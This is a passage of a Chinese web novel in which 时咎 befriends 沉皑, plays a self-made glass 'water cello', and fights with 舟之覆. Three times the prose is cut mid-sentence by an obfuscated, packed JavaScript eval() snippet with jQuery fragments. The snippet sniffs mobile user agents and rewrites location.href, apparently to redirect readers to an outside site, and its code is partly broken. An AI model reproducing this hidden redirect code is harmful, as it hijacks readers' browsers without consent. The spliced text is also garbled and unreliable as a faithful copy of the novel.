“没。”时咎说,虽然当时确实愣住了,但反应过来也就还好。 “那快回去休息吧。” “好。” 时咎之前也疑惑过,但他觉得是自己对这个世界的规则了解不够,但越深入了解,越感觉不太对。 他有时候会想,起源进化真的是正确的吗? 这里的人与他们生活在地球上的人一样,也有猜疑、有战争,这些本是他们这种文明进程里不可或缺的步骤,但由于恩德诺多出来的能力系统,让他们跳过了一部分的进度,直接从战争转为高度精神化,很难界定这里面是进步还是压抑。 他朝文明中心走了几步,又倒回来,还是问了季水风那个他一直想知道的问题:“我想知道,为什么安全中心的人清理现场,你要去指挥?” 季水风笑:“当然,这么多人我不去……”说到这,她的话戛然而止,笑容也逐渐收起来了。 她发现时咎很聪明,一直游离在文明中心又让他的聪明有了发挥的余地。 时咎本想接着问,季水风却一把将他扯到跟前,声音很小地对他说:“嘘,别问出来。” 时咎愣住了,季水风接着小声说:“你如果相信沉皑,可以去问他,但是只能问他。” 时咎也想问原因,但话说到这,再问就让别人难堪了,于是他点点头,转身往回走。 季水风见时咎走远,拨通一个电话,声音没了温柔,她肃然道:“你好,安全管理中心季水风。申请全城卫生检查。” “叮——叮——” 季水风刚刚放下的电话又响了起来。 “你好,安全管理中心季水风。” 那边传来了一个女声:“您好季小姐,我是水风私立医院的护士。” 闻言,她的表情一下柔和下来:“啊,好的,怎么了?发生什么事了吗?” 那边的声音有些难以开口,好像想说又不太好说,季水风不着急,耐心等着,直到那边小声不安地说:“我们要告知您最新的情况。刚刚阿修从手术室里出来了,但是……他的手术失败了。” 季水风站在原地,手里拿着电话,突然整个人沉默下来,时间静止般,她抿住嘴唇,连呼吸都变得困难。 那边继续说道:“他已经转回病房,小齐小治,还有平叔都陪着他。” 季水风的嘴轻轻动了两下,有点艰难地说:“还有办法吗?气切可以吗?” 电话那头的护士犹豫了一下,说:“气切是最后的办法了,本来我该询问您的想法,但是,我问过阿修,阿修他不愿意,他说,喉咙插了管子他就没办法和朋友们说话了,他不想在最后的时间里,连和朋友们一起说话都做不到。” “还有办法吗?”季水风又问了一句。 那边的声音一下就小了,轻轻的声音说:“季小姐,如果您有时间,可以来看看他,也许,时间不多了。” 季水风说:“嗯,我最近就来。” 挂了电话,季水风的手垂下来,黑色长发也轻飘飘垂下来,被风一吹,又卷起几蔟。 片刻,她仰起头,深深地呼吸。 她给季山月打了个电话。 “喂!姐!我在大城区巡查呢!你别管我啊,虽然我现在停职,但是我自告奋勇巡查可以吧!”季山月大大咧咧的声音从那头传来。 季水风无奈笑出来,她说:“可以。” 她接着说道:“这两天你应该不忙吧?” “不忙是不忙,咦?怪事,姐,你声音怎么闷闷的?你哭啦?我靠怎么了谁欺负你了?”季山月还在开车,突然就爆发了,但是迅速冷静下来,他挠头说,“不对啊,谁能欺负你啊?” 季水风有些哭笑不得,她清了清嗓子,企图把声音里闷闷的成分给清出去,说道:“想让你陪我去一趟水风私立医院。” “啊,啊。”季山月大声地回答着,“去你的医院啊。” 季水风无奈:“不是我的医院。” “哎呀!那不你之前做慈善投大资的嘛,名字都用你的名字了,还不是你的?咋啦?去看你资助治病的那几个臭小孩嘛?” “对,就这两天。” “我姐说啥就是啥!我姐叫我啥时候去我就啥时候去!” 季水风终于没忍住笑出来。 天全亮了,大道上的人多起来,路两边摆了一些桌子椅子,等待着客人,好像前一晚什么都没发生,血迹被清理得干干净净。 沉皑来得很早,来的时候后面还跟了季山月,季山月骂骂咧咧嘟囔着运气太好了,巡查到文明中心后面遇上了沉皑,正好他能去监督一下时咎。 沉皑进门看了时咎几眼,直接问他:“没受伤?” 看上去是知道了,时咎摇头。 季山月嫌弃地坐在沙发上,嘴里还在嘟囔着:“小王八睡过的沙发,有鳖味儿吗?” 时咎一本书就扔过去了,然后稳稳抓在季山月的手里,他咧嘴笑:“什么三脚猫功夫啊。” 时咎嗤笑,翻了白眼,干脆重新躺下来。 季山月:“你翻我白眼做什么?别以为我没看到啊!” 吵得头疼,怎么突然见面就吵了。沉皑揉了揉山根,指着门对季山月说:“回你安全中心去。” 季山月一副不可思议的表情,他走到沉皑旁边抓着他的衣服摇晃说:“不是?你赶我啊?你是我兄弟还是他是你兄弟啊?嘿哟我这个暴脾气,气死了,这可真是小王八菊花堵了,鳖不出个屁啊!” 沉皑不是很想理他。 季山月生气地在办公室来来回回走了好几圈,最后走到沉皑旁边踢了踢他的椅子,别扭地问:“妈的,给我整不明白了,为什么时咎这小子天天在你办公室啊?你俩啥关系啊?” 时咎早躺在沙发上看书,没打算理他。 沉皑剜他一眼说:“别闹。” “你看我像在闹吗?”季山月生气的脸上硬挤出一个友善的笑容,难看得像做了个鬼脸。 他又走了一圈,最后还是停在沉皑身边,用一种非常八卦的语气说:“我最近听了可多谣言,说你俩不正当关系,咳咳,虽然大家都知道是舟之覆那鳖孙王八传的不可信,不正当是不可能的,有关系也是你们的自由,但是爷爷我就是想知道,你俩啥关系啊?” 见沉皑也没反应,季山月清了清嗓,站直身体说:“这样吧,你俩给我个准数,要是我能多个嫂子或者哥,我以后不骂时咎了!” 躺在沙发上的时咎不怎么善良地笑了一声,开口便嘲讽:“弟弟别问了。” 季山月登时目瞪口呆,僵硬地转头看沉皑,也不知道他在想什么,但看他那个表情,时咎觉得他是在想他们在一起的关系去了。 沉皑叹了口气,无奈地说:“想多了,朋友。” “喔,朋友啊。”季山月松了口气,不对,他突然反应过来,音量立刻提了上来,“时咎你占我便宜是吧?!你这个死小孩,我以为你是舟之覆的人,气死爷爷了!!” 时咎送了他一个亲切礼貌的微笑。 “沉皑你看他!”季山月气得满地找头。 然而沉皑并不打算介入任何一方。 季山月在办公室里一直打转,不知道为什么他好像气得不轻,也许是为自己之前的行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187315|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉尴尬过头,转了好多圈,他终于消停下来说:“算了,我得走了,还要回老宅去见夫人。” 沉皑抬头:“夫人?” 季山月:“对啊,夏癸啊。”言威的妻子。 “找她做什么?” 季山月叹气,但是语气却不是消极,甚至有一些洋洋得意:“嘿嘿,没办法啊,我们三个里,夏癸最喜欢我,把我当亲儿子看呗,所以过一段时间我得去看看她老人家嘛,陪她聊聊天喝喝茶。” 沉皑想起了确实季山月没事会去陪夏癸坐坐,便只“嗯”了一声。 季山月一走,办公室就安静下来了,只剩下翻书与写字的声音,窗户开着,还有外面偶尔传来的笑声与喧闹。 没过多久,时咎翻身起来了,他把书放回沉皑桌子上说:“喂,我去趟图书馆。” “嗯。” 时咎转身的时候,沉皑抬起头突然问他:“等下,你昨晚,真没事?” “没事啊。”时咎无所谓转头看了一眼沉皑,却就愣在原地。 楼下的喧闹声明显起来了,衬得办公室内更加安静。 两个人互相看着对方。时咎却看到了,沉皑眼里是担心,他在担心? 一个如论如何都不会生气,连情绪都那么吝啬的人,居然会担心吗? 有了这个想法的时咎瞬间回神,心里升起了一股叫做“释怀”的情绪,接着他不自觉笑了。 沉皑不懂那突如其来的笑的含义,只是轻轻点头。 时咎没着急走,玩味说:“担心我?” 沉皑也察觉到了自己的情绪,没有立刻收回来,反而有些好奇。这是担心的感觉吗?不安、急切,目光想追上去,但他以为只是例行公事一样问的问题。 时咎垂眼看他,又俯下身子趴在书桌上与他平行对视,蓝色的眼睛里……真的很多他有些好奇的东西,究竟藏了什么? “你之前,不是讨厌我,针对我吗?”时咎说。 沉皑瞥他一眼,淡声道:“从来没有讨厌你,也不想针对你,只是想知道真相。” 所以在那之后,才会有那么多的波澜起伏。 时咎想,沉皑说的是实话,自从季水风给出了追踪铆钉的答案后,沉皑对他的态度跟以前完全不一样,甚至偶尔他能感受到旁人说的:他人很好。 时咎朝他笑,或许是因为感受到对方的担心,被担心让他的心感觉有些柔软,他抿了抿唇,轻声说:“之前我很讨厌你。” “现在呢?” 时咎感觉自己心头跳了一下,竟让他产生了躲避这双蓝色眼睛的想法,好像再多看、再多看一眼,就会后悔之前自己的所作所为。 “现在啊。”时咎虽然没动,但他挪开目光,轻轻地说,“没有人会讨厌一个、在他住院的时候照顾他,在他可能遇到危险的时候担心他的人吧?” 沉皑的睫毛轻轻颤了一下,他往后靠了一些,眼角余光却瞥到了四周,他的呼吸瞬间不自觉地暂停住了。 又是那些流动的光,不是灰色的,偏蓝色,还有一些紫色,如同夏日依然炽热的黄昏云霞,整片萦绕在上方,慢慢前行。 “在看什么?”时咎问。 沉皑立刻将视线收回来:“没什么。” 他接着说:“听到消息的时候,是有点担心。” 时咎笑出来,他摆正身体站直,又变成了居高临下的视角,他说:“不用担心,我能有什么事?” “嗯。”沉皑不置可否,他低声说,“你也不用担心我担心,会担心朋友,很正常。” “朋友?”时咎嘴唇微微动了一下,慢慢抿着这两个字,他想起了他们第一次在这里遇到,又想起了那些夜晚,随即又觉得自己的思绪飞得有些远。 这种感觉很奇妙,化敌为友。 时咎深呼吸,说:“这样吧沉皑,我呢,可能之前对你也有些误解,所以也有些不当的行为,我得跟你说一句对不起。” 沉皑眉头一跳,如同之前他对时咎的道歉般,他也没想过时咎这种风风火火的性格还能有主动低头的一面。 “所以,如果你愿意……” 时咎停顿了一下,他伸出手,放在沉皑面前,郑重地说:“交个朋友吧。” 24. 第 24 章 也许是之前大部分时间都处于不那么愉快的关系里,又或者是他脸上的表情过于认真,认真到无法联想到那个一定要挑衅惹事的人,沉皑低低地笑了,并且再为他给时咎的评语里增添了两个词:“真诚、敢爱敢恨。” 时咎皱眉:“喂,你这个人能不能不要随便给我贴标……” 沉皑伸手握住他依然悬空在眼前的手,也打断他的话。 两股温热从掌心互相传递了出去,沉皑看到那些蓝紫的光围绕着他们。 好奇怪的情绪……时咎心想,交朋友对他来说是很正常的事,却从来没有过这么令人珍重的感觉,也许是多了一个所谓的仪式感,也许是出于人际关系的交换性原则——两个彼此评价很好的人某天出现矛盾,他们会给出比客观平均状态更低的评价,但两个评价一直很低的人某天改观走在一起,评价会是所有人际关系里最高的。 如果情绪也有颜色,他想,此时一定是蓝紫色,如晚霞般。 时咎要去图书馆,沉皑说:“自己注意一些吧,最近……”他顿了一下,柔声道,“是有些事偶然集中起来了,安全管理中心很快会处理好的,季水风能力很强。” “我知道。”时咎毫不怀疑。 他准备走了,走到门口忽地想起,转头问沉皑:“喂,你最近文件多吗?” 沉皑微抬下巴示意他说。 “我有个新的小发明,你有空帮我看看?” “嗯。” 过了这么久,时咎终于再去图书馆,还好小捷每天都来,还是原来的位置,时咎毫不费力地找到了她。 一见等的人来了,小捷一颗心落地。 “哇你终于来啦?都恢复好了吗?有留伤口吗?”小捷急切地问。 时咎在她旁边坐下,摇头道:“恢复如初。” “那就好那就好,再不来我都打算去文明中心申请找人了。”小捷放心下来,从她的包里拿出之前时咎的草纸,在她面前铺开来,“这个月我帮你把修改意见全写出来了,有的地方我也不完全懂,所以去找了西蒙,你知道西蒙吗?” 时咎还是摇头,他怎么会知道这个世界的圣贤大师。 于是小捷跟他解释说是恩德诺的制琴大师,技术鬼神不识、镂尘吹影,可年纪太大没出山已经很久,几乎都是他的学生在外面,刚好她运气比较好,这次去的时候,西蒙在做身体康复,于是她在充满阳光的草地上见到了晒太阳的大师,而大师刚好饶有兴致指点过她几句。 草纸上标注增多,有的还另外贴了便利贴在背面用来详细解释。 “西蒙住的那块地儿特别漂亮,背靠山面临海,周围都是草地和树林,还有几个好大的风车,那边人也很少,就是太远,各种交通工具加起来坐了30多个小时。”小捷说,“有机会可以去那边玩,只是散步都充满能量。” 时咎觉得这个提议很好,他还没去看过恩德诺的自然景色。 小捷铺着草纸,很认真给时咎解释:“琴体长度在357毫米,但是考虑到会通过注水来改变音色,所以增加到365毫米,这样可以选择的音区变宽了,上宽在165毫米,下宽210毫米。” “侧高和厚度的渐变也做了修改,不过这里是西蒙给的建议……” 她亚麻色的头发从一侧垂下来,遮住半边侧脸,只露出了认真的神情。 当她把注解全部讲了一遍后,时咎问她:“那边的景色真的很漂亮吗?” “什么?”小捷讲了一长串的琴的设计,没料到时咎会问这个问题,反应了一会儿点头说,“真的很漂亮,路虽然是难走了些,跋山涉水的,而且我也不清楚西蒙住的具体位置,上山下村庄,问了好多人才找到,不过最后看到那里的风景,也见到了大师本人,就觉得一切都值了。” 其实时咎好奇的不是这个,他想好好措辞一下,但发现想不出什么更好的问法,最后还是老老实实地问:“我是在想,我们只是恰好坐在一起的陌生人,你为什么会愿意为了我做这些?而且听你说,去找西蒙的这段路,过去应该也不简单?为什么……” 看着对方的眼神,时咎觉得自己问的问题过于愚蠢。 然而小捷却小声笑出来,她捂着嘴,担心音量太大:“谁跟你说我是为了你做这些?” 时咎看着她,听她继续窃窃私语般说道:“事不能这么想。你要知道没有什么事是只会对自己一个人产生影响的,原本你的琴差点意思,因为我的帮助,这把琴被完善了,或许你就会用这把新琴去教学生?或者别的什么,大家或许会因为你制造的音色产生更多灵感,有更美的创造。” “假设,我假设哦,如果有一天我躺在病床上毫无希望,偶然听到了这种琴衍生的音乐,感动到无法自拔想重新活下来,是不是我现在做的一切都有意义了?我更喜欢把这些微不足道的事放在更长远的未来去看。” “说不定因为我帮你完善的琴,让你在弹奏的时候遇到了心仪的人,我是不是帮你促成了好事?” 见时咎没反应,她轻轻挥手说:“你还没成年,不懂,以后就知道了。” “我知道。”时咎说。 但小捷坚持说他不知道,她说:“等你20岁成人礼后,你就可以和更多的人有毫无保留的思维交流,那个时候你才知道触碰他人的灵魂是什么感觉。还没成年呢,思维都还困在一个封闭的盒子里,想不了太多,怎么知道呀?” 时咎觉得她说得有道理,那他就做个被盒子封住了思维的人吧。 一段时间后,时咎终于把他的玻璃水提琴实现出来了,睡醒后他造了一把,但是带不进梦里,于是他在梦里通过小捷找到了一间制琴室,和师傅商量着合作又重新做了一把。 做出来还不够,他还练习了一些时间。原本是打算做成单手乐器,后来觉得还是需要用弓才能把毛流感给演奏出来,所以最后还是做了弓。 他带着琴去找沉皑,想分享一下自己的新发明。 刚好回办公室的时候天已经黑了,沉皑应该也是忙完了,时咎推门进去的时候,沉皑正背靠在椅子上闭目养神。 时咎一凭空出现就会跑出去,大多数时候是这样的,所以沉皑并不知道他什么时候会回来,只是如果他在办公室忙到够晚,基本也是能见上一面。 “你今天结束了?”时咎问。 “嗯。”沉皑睁眼,“准备回去了。” “先别回,给你看个东西。”时咎走到沉皑旁边,将琴盒从背上取下来放在办公桌上,再小心翼翼打开。 一把晶莹剔透的琴。 沉皑也是第一次见到这样制式的乐器,便站起来仔细观摩。 “你做的?”他问。 时咎小心把琴拿出来,自己坐在沙发上,按照演奏大提琴的姿势坐好,对他说:“是我的想法,不过还有别的朋友帮我,一起做出来的。” 顿了一下,时咎补了一句话:“我用它代替大提琴可以吧?” “可以。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187316|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 时咎认真观察沉皑两秒,发现沉皑的脸上根本没有流露出任何马脚,没有不自然,好像他知道大提琴这件事是理所当然的。 时咎收回视线,他单手按凹槽听音准,再确认了一下这个注水量的音色是他还比较喜欢的。 沉皑饶有兴致,便将椅子拖出来了一些以便于可以完整看到时咎和琴。 时咎校准音准结束,看到沉皑就那么坐着,眉毛一挑,道:“这位先生,你坐那儿我可是要收费的。” 他拿弓指着沉皑:“我在我们那儿上台拉琴给人听,一首一千,给钱。” 沉皑无奈笑道:“好,先欠着。” 时咎心想:还能欠着? 时咎的技术很好,一些练习曲和乐曲也都练得比较熟了,所以当他开始演奏,世界也就无声了。 这把琴的音色很奇特,像精灵在溪流边的吟唱,宁静安详又清脆动听。风从耳边过,水从脚边流,树叶在摇晃,精灵在追逐。像这一生里许的最后一个愿望,平静祥和。 沉皑一动不动地看着他,听着旋律,也看着时咎。 原本安宁的旋律却没能让他平静下来,他的思绪控制不住地翻飞,从他的脑海里,从他的心底破土而出,那些年少时狂热的时光通通被牵引出来,又被他强制压下去。 时咎沉浸在乐曲里,试着拉了几首,他觉得还可以,也听到沉皑轻轻给他鼓掌拍了几下手。 时咎觉得,这个观众还挺不错!能给反馈。 他仰着头想了想,突然想到什么似的,跟沉皑说:“再最后给你一首,最后一首,再多真的要加钱了。” “嗯。” “可惜……”时咎想说可惜沉皑没有活在他的现实生活中,但说了两个字又没继续说,而是换了句话,“如果你来听过我的音乐会就好了。” “什么音乐会?”沉皑问。 时咎随意比划了两下:“一场大提琴独奏音乐会,我研究生毕业后,想着设计展也办了,大提琴也是单科学位,要不也办场音乐会好了,就顺手办了场音乐会。” 沉皑轻点头,说:“现在也听过了。” “这个是水提琴,那是大提琴,还是有些差别。诶?要不我给你拉一首我音乐会上最喜欢的。”时咎举起弓又放回琴上,“还是我当时自己写的,闭着眼睛都能拉。” “好。” 时咎确实是闭着眼也可以拉。 旋律一起,沉皑愣了好一会儿,他看着时咎闭眼演奏,大脑一时间竟也没能思考,他突然感觉自己的心重重抢跳了一拍,他有些惊讶,但突然又很释然,他屏住呼吸好几秒,最后无声地笑了。 他的手捂着脸,但没遮住那汹涌的笑意,他的唇往上扬着,好像许多年也没笑得如此用心。 房间的光逐渐凝聚,聚成了半透明的斑斓,彩色的流光围绕着他,也绕过时咎,温柔地,如同纷飞狂欢的树叶,围了一圈又一圈,飞舞着,旋转着。 沉皑伸手,那些光便听话地缠了过来,光是温暖的,触感是轻柔的,非常熟悉,像液体也像羽毛,触碰到,便使人悸动。 这些光出现得越来越频繁了,是不是意味着他的能力也回来了? 已经多年未见了,好像时间已经过去很久,久到记不清,可真的手碰到它们,那些记忆也奔涌而来,是开心的、欣慰的、欣喜的、酸涩的、欢畅的—— 他被剥夺的情绪。 夜色中,唯独这个房间像是清晨。 25. 第 25 章 时咎睁眼的时候看到沉皑坐在那里手撑着头,他“咦”了一声。 “你的手腕?在发光?”时咎说,他看到沉皑袖口下有些微光。 沉皑反应过来,很快拉了下袖子把里面的东西藏好。 “那是什么?”时咎问,他上次就看到了,一串数字纹了一圈。 沉皑说:“密码。” “嗯?”时咎没想过这个回答,他说,“密码?你把密码纹手腕上?这很容易被人看见啊。” 沉皑无所谓道:“没事,除了我没人知道这是什么的密码。” 时咎不追问了,但他有些惊异,他不知道发生了什么,但是他觉得…… “你?”时咎奇怪道,“你很开心?” “有吗?” “有。好怪。”时咎放下琴,走到他旁边转了两圈,自言自语道,“我觉得你很开心,是你的错觉还是我的错觉?我居然感觉到你在开心?” 沉皑笑:“你不是说感觉不到我的情绪?” 他真的很开心,而且从来没有这么开心过,时咎不理解这突如其来的情绪,他只能点头说:“对,之前是,但是……” “我之前一直觉得,你是用脑子判断情绪的人,不走心,没有爱。” “你怎么知道我没有爱?” “你连情绪都感知不到,怎么接受爱的信息?” 沉皑点头,他说:“我就当这是你之前对我一无所知导致的冒犯。” 这话让时咎也笑出来,他微微埋下头:“好,对不起冒犯你了,我现在知道你能感觉到情绪了,所以你到底在开心什么?听我演奏吗?” 沉皑的表情柔和下来:“以后有机会告诉你,好吗?” “好。” 时咎还想问些别的,但感觉在这样的氛围下,他担心问出来会破坏沉皑难得的好心情。 沉皑走过去想近距离看那把琴,时咎直接递给他。 “可以吗?”沉皑看着琴问。 “可以啊,你随意。”时咎无所谓道。 沉皑捧着琴看了好一会儿,但他不太了解制琴,所以只能从音色听出它的非同凡响。 看了片刻,沉皑将琴还给时咎,对他说:“你的音乐很特别,听了让人平静。” “哦?”时咎挑眉,“你听得懂?” “嗯。”沉皑仔细看着琴,“我不知道你们那儿的音乐是怎样的,不过我觉得音乐是宇宙通用的语言,你想在音乐里表达的东西,别人可以感觉到。” 时咎想起他之前说他喜欢音乐,便说:“我还以为你之前说喜欢音乐是瞎说的,你跟我想法一样,你经常听音乐吗?” “嗯。” “听什么?”时咎有些兴趣。 “用心做的,能链接到的,都会听。原始乐器或者宇宙音都会。”沉皑指了指时咎的玻璃水提琴,“你的这个乐器里就有那种宇宙音色。” 时咎不知道他指的是什么,或许是类似合成器一样的音色,洋洋盈耳。 “一切艺术都倾向于具有音乐的属性,也许是因为就音乐而言,实质就是形式,我们能够叙说一个短篇小说的梗概,却不能叙说音乐的旋律。”时咎念,随后一笑说,“这是我们那儿一位著名的评论家散文家说的,叫佩特。” 沉皑看上去很同意这句话:“在我个人认知里,有两样东西可以超越维度。” “音乐。” “爱。” 时咎突然脑子里有了一个新的模型。他有点感激沉皑给他提供了新的灵感。 沉皑准备回家,走的时候看见时咎又躺回沙发床上了,便对他说:“你可以去我家住。” 时咎放下书,仰头看沉皑,看他在自己的眼睛里整个翻转过来。 “不去了,我就在这,本来也不需要睡觉,去你家一会儿吵着你。” “好。”沉皑没多说,关门走了。 沉皑不知道时咎什么时候走的,但他梦到了时咎了。 还是那间小卧室,只是白天的阳光照射得房间里异常明亮,书桌还是堆了很多书,就在这里站着能听到客厅传来声音。 “你这琴拿去参赛呗。”一个女生的声音。 接着时咎说:“不想,它对我来说是无价之宝。” “确实挺无价,我也是头一回听说在梦里的灵感能做成这种程度啊,我每次做梦醒来什么都记不住。” “你比较笨吧。” “时咎你别太过分!本来就不如你了还要被你辱骂!” “我哪有辱骂你啊?” “就是辱骂!” “行行行怪我怪我。” “时咎!我一会儿就把你的照片和号码发同性交友网上!” “不是,哥,你是我哥!” 外面吵起来了,沉皑在卧室没有出去,他好像不太想走出去,只是在这一隅里走动了几步。 时咎的房间又多了一些设计图,随处贴在墙上,还多了两个未完成的雕塑,有一张纸格外大,它被贴在书桌靠的墙上正中央,沉皑走过去,木地板发出轻微的声音。 似乎是一首诗。 一首字写得很漂亮的情诗。 我知道你在这里, 当月色从窗边溢出, 当那踏着湿润的脚步, 一步一步,跨过喧闹的浓雾。 我知道你就在这里, 你的阴影被无端抖落在地, 很轻一声,像叹息, 我看到你匆忙将它捡起, 又将这一瞬的波澜藏进我正读的诗里。 难以置信, 浓墨重彩的话语,不再是我的诗, 是你委婉的情绪, 是你在黑夜里品尝过的、寂静的别离, 是在一场落叶萧瑟中倾泻的暴雨, 是你又等过的一轮斗转星移, 是我的熟悉,也是我的思虑, 行行斟酌,逐字逐句, 如果时间终将逝去,你就是我的四季。 沉皑看了很久,看了很多遍。 直到他往后退,碰到了旁边的旋转椅。 “砰!” 沉皑惊醒了。 天还黑着,落地灯还亮着,看时间,只过了20分钟。 椅子转动了一圈。时咎和唐廷璇听到声响时互相对了一个眼神,一个人拿球棒一个人拿菜刀便进去了,进去的时候,椅子刚好要停下。 窗户没关,只留了一个小缝,吹进来一阵风,把墙上的贴纸吹得响。 两个人把房间检查了一遍,确认没有别人后,唐廷璇奇怪道:“难道真的是风?刚刚那么大的风吗?” 时咎也不知道,他只能摇头,他想,不然晚上睡觉去找沉皑教他几招防身的活好了。 结果,他还没找沉皑,从科研院回去的时候在实验室遇到了同样回来的舟之覆。 “这位朋友。”舟之覆拦住时咎,“要来我这儿坐坐吗?” 时咎一直觉得这个人有点癫,癫到近乎精神病,所以并不是太想理他,只稍稍后退了一步说:“有事?” 舟之覆莞尔:“想跟你做个朋友。” 时咎露出一个嘲弄的笑容。 见状,舟之覆直接说:“其实,我是好奇,我听说你的能力是别人设想什么,就会变成什么?” “假的。”时咎直接否认。 舟之覆捂着嘴笑:“你好谦虚,但我实话实说,你这样的能力,在文明中心都是数一数二,为什么不去向掌权者谋职,天天跟着沉皑跑呢?” “没有天天跟着他跑,我有事。”时咎有点不耐烦,但没摆出来,依然用冷漠的态度在说话。 但舟之覆明显不信,他绕到时咎侧面,又绕回来,好像在打量他,目光尖锐到令人不适,他说:“沉皑那种过于守规矩讲原则的人很无聊吧。” “你想说什么?”时咎直接问。 舟之覆懒懒地靠在墙上,用他更慵懒的声音说:“好吧我承认我是对你的能力有点感兴趣,真心想跟你交个朋友,之前的事我也当没发生过,所以我直说了,沉皑那样的人,跟着不合适,他不会当掌权者,虽然我不知道他出于什么目的留着你,但我猜也和你的能力有关。” “无关。”时咎淡漠道,“他对我没目的。” 舟之覆听了个笑话一样笑出来:“果然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187317|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是未成年。你说没有真没有?你链接过他的思维吗?噢链接了也没用,他不会让你知道。我提醒你,他只会让你觉得他没有目的,最后再利用你做完一切,再扔掉你。” 闻言,时咎觉得还挺有意思,他无谓道:“随意吧,谁利用谁还不一定呢。” 舟之覆刚想开口,旁边一个人匆匆走过来,走到门口发现堵了两个人,一时间不知道该说什么。 “舟先生。”是沈向南。 “又有什么操蛋事?”舟之覆翻白眼问。 沈向南好像有些急着想说,但眼神一直瞥到时咎,又不太敢说。 “说吧,没什么见不得人的事。”舟之覆打了个哈欠。 于是沈向南尴尬说:“又,又有一个人检测不合格,但他不想去教化所,所以,所以,呃,所以自杀了。”说完头就埋下去了。 舟之覆:“啧,去教化所又不是去断头台,唔,好吧,算了,不就是时间久了点吗。” 沈向南接着说:“这个月,检测不合格的有10多个,还是太高了,以前一年都不会有10个的。” “不合格的数据了吗?” “有,我还没去拿。” 舟之覆觉得麻烦地摆手:“那就去拿。” “好。”沈向南说,他犹豫了一下,又道,“这个情况要告诉沉先生吗?” 提到这个,舟之覆就有点生气了:“告诉他干什么?他知道有什么用?我知道不就行了,一样的啊,还是你觉得同为看守者,我舟之覆低他沉皑一等啊!” 沈向南立马就不说话了。 “愣着干什么?不去拿?”舟之覆不悦道。 沈向南偷偷抬起眼皮看舟之覆,又看时咎,那眼神心虚得好像做了什么亏心大事,但不说又不可能,做了好一会儿心里建设,才吞吞吐吐地说:“舟,舟先生,刚刚还发生了一起脑死亡。” “嘶。”舟之覆烦得不行,“这又是怎么回事?” “是我,呃,操作失误。”沈向南几乎连话都不会说了,他也不知道为何,明明一直都是严格按照流程操作,对机器的掌握也很熟悉,也许的确是他不太上心,也没有十分认真地在操作,但他一直都是这样,没想过会导致对方脑死亡。 舟之覆一副恨铁不成钢的表情:“你怎么回事?最近失误几次了?想死吗?” 舟之覆转身,看向时咎,却又立刻扔掉生气的表情,换上了一副高高在上的样子说:“小朋友,我都让你听内部机密了,诚意可以吧?做个交易,我让你直接坐检察者的位置,你呢,帮我盯盯沉皑。” 时咎斜眼看他:“你很怕他?” “不。”舟之覆否认,“我是欣赏他,但欣赏归欣赏,为了我的事业继续攀爬,我不能让人跟我抢位置对吧?” 时咎哂笑:“你攀爬你的,别打他的主意。” “哎哟哟哟。”舟之覆好像听了什么稀奇事,他很不解地围着时咎转了一圈上下左右地打量,最后阴阳怪气地说,“怎么的?高高在上的沉先生还有给人喂迷魂汤的本事了?我之前是闲得无聊传了些东西……不会真被我传对了吧?” 舟之覆突然靠近时咎。 不远处的大屏幕依然毫无感情地播报: “半年前,生物研究所丢失数支病株样本,门口两位安保均死亡……” 新闻的声音与舟之覆好奇夹着的声音一起在耳朵里出现:“所以你真是他偷偷养来玩play的……” “男朋友?” “砰!”时咎一拳就上去了。 “啊!”舟之覆一声惨叫。 时咎很久没打过人了,拳头稍显疲软,但舟之覆这细皮嫩肉还是绰绰有余。 “啊啊啊啊——沉皑!你男朋友杀人啦!”舟之覆扯着嗓子喊。 时咎一脚踢过去,气急败坏:“别乱叫!” “啊啊啊沉皑!快出来管管你男朋友啊!!” “舟之覆你死了!” 骂声和惨叫声回荡在整个走廊。 走廊不远处一扇门打开了,里面的光线照出来,沉皑往前走了一步。 “……” 黑暗里,沉皑无声叹气。 26. 第 26 章 舟之覆被揍得有气无力地喊叫,但无论时咎怎么气急败坏,舟之覆依然厚脸皮高喊:“沉皑!管管你男朋友啊!沉皑!” 誓要让所有人知道,他们都是小情侣Play的一环。 时咎捏着拳头喘着气,看了眼躺在地上奄奄一息还在虚弱呐喊的舟之覆,扭头就走。 舟之覆摸摸鼻子,摸到一手血,他喃喃装死道:“好没礼貌的小朋友,这年头未成年都这么横了吗?怪不得检测不合格越来越多,文明要亡啊。” 沈向南刚从时咎揍人的惊慌里缓冲出来,又被舟之覆的口无遮拦吓死了,他冷汗直流,提醒舟之覆:“刚刚我们说的事,他会不会告诉沉先生?掌权者不是让您把这些事压下来自己处理别让沉先生追查吗?还有我……” 